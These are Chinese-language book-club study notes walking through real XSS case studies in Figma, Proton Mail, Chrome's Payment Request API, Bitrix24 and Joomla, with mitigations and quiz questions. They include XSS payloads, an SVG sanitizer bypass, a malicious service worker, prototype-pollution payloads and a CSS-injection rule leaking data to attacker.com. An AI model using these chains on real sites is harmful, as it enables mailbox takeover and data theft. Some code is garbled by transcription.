導讀人:Lulu 筆記工:Yo0 2025/02/06 @Tech-Book-Community
// 先新建一個div let P = document.createElement("div"); // e是我們的輸入,也就是description // 這邊先把 e 的內容放到一個 div 中 p.innerHTML = e; // 先用css選出所有不在名單中的元素 let f = IFs.map(y=>`:not(${y})`).join("") ,g = p.querySelectorAll(f); // 把每一個不在名單中的元素移除掉 for (let y of g) (h = y.parentNode) == null 11 h.removeChild(y); // 最後呼叫 DOMPurify 來做 sanitization r. current. innerHTML = HAm. def ault. sanitize(p. innerHTML)
Figma 先用 CSS 過濾,再用 DOMPurify 做第二層清理,乍看之下非常安全,因為允許的標籤僅限 20 種。
[fa', 'span', 'sub', 'sup', 'p', 'b', 'i\ 'pre', 'code1, 'em1, 'strike', 'strong', 'hl', 'h2', 'h3', 'ul', '。1', *li', 'hr', 'br']
整段程式碼其實看起來完全沒問題,先把危險的元素移除掉,最後才放到畫面上,感覺很安全啊!
let div = document.createElement('div'); div.innerHTML = '<img src=x onerror=alert(1)>';
按照一般邏輯來看,這應該不會觸發 alert(1),因為我們 沒有把這個 div 插入到畫面上。但實際上,它還是會跳出 alert!
即使 div 沒有插入到 document,瀏覽器仍然會嘗試載入圖片,並執行 onerror 事件處理程序!也就是說,只要有一瞬間,攻擊者的輸入被放進 innerHTML,XSS 就可以被觸發!
這就解釋了為什麼即使 Figma 之後使用 DOMPurify 清理輸入,XSS 仍然可能發生,因為 漏洞在最一開始的 innerHTML 賦值時就出現了。
Figma 的 CSP(內容安全政策)救了它:
script-src 'unsafe-eval' 'nonce-PVEIuETDG3R+8hIA6PqgIQ==' 'strict-dynamic';
沒有 unsafe-inline,所以即使成功觸發 onerror,XSS 還是無法真正執行惡意腳本
回報這個「差點成功的 XSS」,獲得了 $1000 USD 的漏洞獎金
Sanitization 不能只做在前端,後端也要防禦! innerHTML 操作時,即使沒插入 DOM,也可能導致 XSS! CSP 仍然是非常有效的 XSS 防禦機制!
QA: 在 Figma 的 XSS 漏洞中,為何即使開發人員沒有將惡意內容插入 document,仍然會觸發 onerror 事件?
QA: Figma 在這次 XSS 測試中為何沒有真正被攻破,僅獲得「差一點成功的 XSS」回報?
<img src=x onerror=alert(1)>
<svg>
proton-svg
const LIST_PROTON_TAG = ['svg']; const sanitizeElements = (document: Element) => { LIST_PROTON_TAG.forEach((tagName) => { const svgs = document.querySelectorAll(tagName); svgs.forEach((element) => { const newElement = element.ownerDocument.createElement(`proton-${tagName}`); element.parentElement?.replaceChild(newElement, element); }); }); }
不同於 HTML,SVG 解析方式不同,導致兩段程式碼解析結果完全不同
在 <div> 中:
<div>
<div> <style> <a id="a"></a> </style> </div>
瀏覽器解析:<a> 會被當成普通文字,因為 <style> 內的內容預設是文字,而不是標籤。
<a>
<style>
在 <svg> 中:
<svg> <style> <a id="a"></a> </style> </svg>
瀏覽器解析:<a> 會變成一個標籤!
這有什麼影響? 這代表我們可以利用 <style> 內的屬性來,逃逸出原本的 HTML 限制
HTML
<svg> <style> <a id="</style><img src=x onerror=alert(1)>"></a> </style> </svg>
原本應該被當成 ID 屬性的內容,卻變成了一個 <img> 標籤,成功 XSS!
<img>
插入 HTML 還不能馬上 XSS,因為 Proton Mail 把信件內容放在 iframe 內,並加上 sandbox 限制:
禁止 script 執行,但讓受害者點擊 <a>,新開的視窗就不受 sandbox 限制了,成功執行 JavaScript!
Proton Mail 有 CSP 限制 JavaScript 來源,規則:script-src blob:
script-src blob:
只能從 Blob URL 載入 JavaScript,無法載入外部 script(如 https://evil.com/xss.js)
Proton Mail 將郵件附件轉成 Blob,本來是為了顯示圖片附件,但沒有檢查 Content-Type,所以我們可以: 上傳一個 JavaScript 檔案作為附件 利用郵件系統將它轉成 Blob URL 在 XSS 漏洞中載入這個 Blob URL 作為 <script> 成功繞過 CSP 限制
<script>
Proton Mail 轉換的 blob: URL 是隨機的,例如:blob:https://mail.proton.me/8b723997-737a-4cec-96db-b59c40fbdbca
blob:https://mail.proton.me/8b723997-737a-4cec-96db-b59c40fbdbca
攻擊者 不知道 UUID,怎麼辦? 解法:CSS Injection + Image Request Leaks
img[src*="abc"] { background: url("https://attacker.com/leak?abc"); } 攻擊者在信件中注入 CSS Injection 當 Proton Mail 渲染信件時,逐步洩漏 blob: URL 最終拼湊出完整的 blob: URL,成功載入惡意 JavaScript!
img[src*="abc"] { background: url("https://attacker.com/leak?abc"); }
寄第一封信
攻擊者取得完整 Blob URL
寄第二封信
<script src="blob URL">
攻擊者可以讀取受害者所有郵件,甚至執行更多操作,因為 XSS 發生在 Proton Mail 本身,所有權限都是合法的!
這個攻擊結合了: Sanitization Bypass(SVG 解析異常) Sandbox Bypass(新開視窗逃逸) CSP Bypass(Blob URL 內容檢查疏漏) CSS Injection(洩漏 Blob URL)
修正 SVG 解析方式,避免 <style> 被錯誤解析 移除 allow-popups-to-escape-sandbox,防止 sandbox 逃逸 檢查附件的 content-type,防止執行 JavaScript 加強 CSP 限制,阻擋 blob: 作為 script 來源
QA: Proton Mail 的 XSS 漏洞是如何成功繞過原本的 DOMPurify sanitization?
QA: 在 Proton Mail 的攻擊鏈中,結合那些攻擊?
async function pay() { if (!window.PaymentRequest) { alert('瀏覽器不支援'); return; } const supportedInstruments = [{ supportedMethods: 'https://bobbucks.dev/pay' }]; const details = { displayItems: [{ label: '商品1', amount: { currency: 'TWD', value: '200' } }], total: { label: '合計', amount: { currency: 'TWD', value: '200' } } }; const request = new PaymentRequest(supportedInstruments, details); try { const paymentResponse = await request.show(); await paymentResponse.complete('success'); alert('支付成功'); } catch (err) { alert('支付失敗'); console.error(err); } }
按支付按鈕彈出支付視窗,不需串接 API,問題就出在支付流程的底層
payment-manifest.json(示意內容)
{ "default_applications": ["https://bobbucks.dev/pay/manifest.json"], "supported_origins": ["https://bobbucks.dev"] }
app_manifest.json(示意內容)
{ "name": "Pay with BobBucks", "serviceworker": { "src": "sw-bobbucks.js", "use_cache": false } }
這個機制確保第三方支付頁面能夠被瀏覽器正確識別,但如果攻擊者可以控制這些 JSON 檔案,就能偷偷註冊惡意的 service worker!
攻擊者上傳三個 JSON 檔案與 service worker 到開放上傳的網站 (files.example.com):manifest.json / app_manifest.json / sw.js(惡意 Service Worker)
在惡意網站上 發送 Payment Request API 請求,指向 https://files.example.com/huli123/manifest.json
瀏覽器誤以為這是一個正常的支付請求,開始載入這些檔案
瀏覽器安裝攻擊者的 惡意 Service Worker,攻擊者即可攔截請求,並回傳 任意 JavaScript,觸發 XSS
self.addEventListener("fetch", (event) => { const blob = new Blob(["<script>alert('XSS')</script>"], { type: "text/html" }); event.respondWith(new Response(blob)); });
這樣就成功繞過 原本的下載限制,直接讓 files.example.com 變成 XSS 漏洞點!
取消「從 response 直接讀取 manifest」的功能,要求必須透過 HTTP Header 傳遞 manifest URL,這樣攻擊者就無法單純透過上傳檔案來影響 Payment Request API。
這個漏洞被評為 高風險(CVE-2023-5480),發現者 Slonser 獲得 16,000 美金賞金(約台幣 50 萬)
瀏覽器應該限制 Service Worker 的來源,避免任意網站被利用 開放檔案上傳的網站應該防範 JSON、HTML 這類檔案被濫用 Content-Disposition: attachment 雖然能防止 HTML XSS,但不代表完全安全!
QA: 為什麼 Chrome 的 Payment Request API 會導致 XSS 漏洞?
QA: 攻擊者如何利用 Payment Request API 來執行 XSS?
Object.prototype.isAdmin = true; console.log({}.isAdmin); // true
function parseQuery(input) { if (!Type.isString(input)) { return {};} const url = input.trim().replace(/^[?#&]/, ''); if (!url) { return {};} return url.split('&').reduce((acc, param) => { const [key, value] = param.replace(/\+/g, ' ').split('='); const keyFormat = getKeyFormat(key); const formatter = getParser(keyFormat); formatter(key, value, acc); return acc; }, {}); }
這段程式碼會解析 Query String,例如:?a[b]=1 → { a: { b: 1 } }
function getKeyFormat(key) { if (/^\w+\[\[\w+\]\]$/.test(key)) { return 'index'; } if (/^\w+\[\]$/.test(key)) { return 'bracket'; } return 'default'; }
這代表:
但攻擊者可以輸入 proto[test]=1,這樣會發生什麼事?
Object.prototype.test = 1;
程式碼中是否有地方可以利用這個污染的 Object.prototype。 在 Bitrix24 中,當頁面載入時,會呼叫 BX.render() 來建立 HTML 元素:
BX.render = function(item) { var element = null; if (isBlock(item) || isTag(item)) { var tag = 'tag' in item ? item.tag : 'div'; var className = item.block; var attrs = 'attrs' in item ? item.attrs : {}; var events = 'events' in item ? item.events : {}; var props = {}; // 建立 HTML 元素 element = BX.create(tag, {props: props, attrs: attrs, events: events, children: children, html: text}); } return element; };
如果 item.tag 沒有被定義,預設為 div 可污染 Object.prototype.tag,可變成其他 HTML 標籤 script!
過 Prototype Pollution,攻擊者可以:
Object.prototype.tag = "script"; Object.prototype.text = "alert('XSS')";
結果 BX.render() 會動態建立 <script>alert('XSS')</script> ,直接執行 JavaScript!
<script>alert('XSS')</script>
如果XSS 攻擊到 Admin 帳號,Bitrix24 內建一個 admin API php-command-line.php,允許管理員執行 PHP 指令!
攻擊流程: 透過 Prototype Pollution 觸發 XSS 讓 Admin 執行惡意 JavaScript 呼叫 php-command-line.php API,直接執行任意 PHP 伺服器被完全控制!
禁止 Object.prototype 被修改 限制 Query String 只能解析特定 key 加強 BX.render(),避免 tag 屬性被污染
這樣就能防止 Prototype Pollution 變成 XSS!
案例展示Prototype Pollution 如何變成 XSS,甚至導致伺服器被入侵,漏洞鏈串起來真的很可怕!
永遠不要信任使用者輸入的 Query String! Object.prototype 絕對不能被污染,應該在程式碼中明確禁止! 前端框架應該避免使用 Object.prototype 來判斷屬性,防止類似攻擊!
QA: Bitrix24 的 XSS 漏洞是怎麼產生的?
QA: 在 Bitrix24 XSS 漏洞中,攻擊者如何進一步擴大影響?
- 負責 清除使用者輸入中的 HTML 標籤,大致上運作方式如下:
hello<h1>title</h1>123
取得 < 前面的文字(hello) 取得 > 後面的文字(title123) 把它們合併成 hellotitle123,成功去除標籤
簡單版的 PHP 實作
$input = "hello<h1>"; $end = mb_strpos($input, '<'); // 找到 `<` 的位置 $output = mb_substr($input, 0, $end); // 取 `<` 前的文字 echo $output; // hello
看起來沒有問題,但關鍵的問題出在 mb_strpos() 和 mb_substr() 處理「不合法的 UTF-8 字串」時的行為不一致!
處理多字節字串(像是中文、日文)時,會使用 mb_ 系列函式,因為像 substr() 這種函式是以 byte 為單位,可能會截斷 UTF-8 字元,導致亂碼問題。
為什麼要用 mb_strpos() 而不是 strpos()?
$input = "你好"; echo mb_substr($input, 0, 1); // 你 echo substr($input, 0, 1); // 亂碼(因為「你」這個字是 3 個 bytes)
mb_ 函式是為了正確處理 Unicode 字串,但這次漏洞發生在 PHP 的 mb_strpos() 和 mb_substr() 處理「不合法 UTF-8 字串」的方式不同!
$input = "\xE4\xBD\x61\x62\x63\x64<"; // UTF-8 編碼錯誤的字串 $pos = mb_strpos($input, '<'); $sub = mb_substr($input, 0, $pos); echo $sub;
發生什麼事?
結果就是:
攻擊者可以透過 特殊的 UTF-8 字串 讓 Joomla! 錯誤解析 HTML,導致 XSS 注入:
竊取 Admin Token 竄改網站內容 執行惡意 JavaScript 甚至透過 Joomla! API 取得 伺服器控制權限!
Joomla! 修復方式: 改用 strpos() 和 substr(),避免 mb_ 函式的不一致性
PHP 修復方式: 修正 mb_substr() 的行為,讓它與 mb_strpos() 一致,確保不會誤判字串長度
問題不在 Joomla! 本身,而是在 PHP 的底層實作,所以 PHP 官方也發布了更新修復這個問題!
XSS 漏洞不一定來自前端,後端處理錯誤的字串也可能導致漏洞! PHP 多字節函式 (mb_strpos() vs mb_substr()) 行為不一致,會影響字串過濾機制! 程式語言對「不合法 UTF-8 字串」的處理方式,可能會帶來安全風險!
漏洞提醒: 使用 mb_ 函式時要注意,它們對錯誤字串的行為可能不同! 輸入驗證很重要,不要讓「不合法 UTF-8 字串」影響安全機制!
QA: Joomla! 的 XSS 漏洞是如何發生的?
QA: Joomla! 最後是如何修復這個漏洞的?
全書回顧討論會 - 齊畫架構圖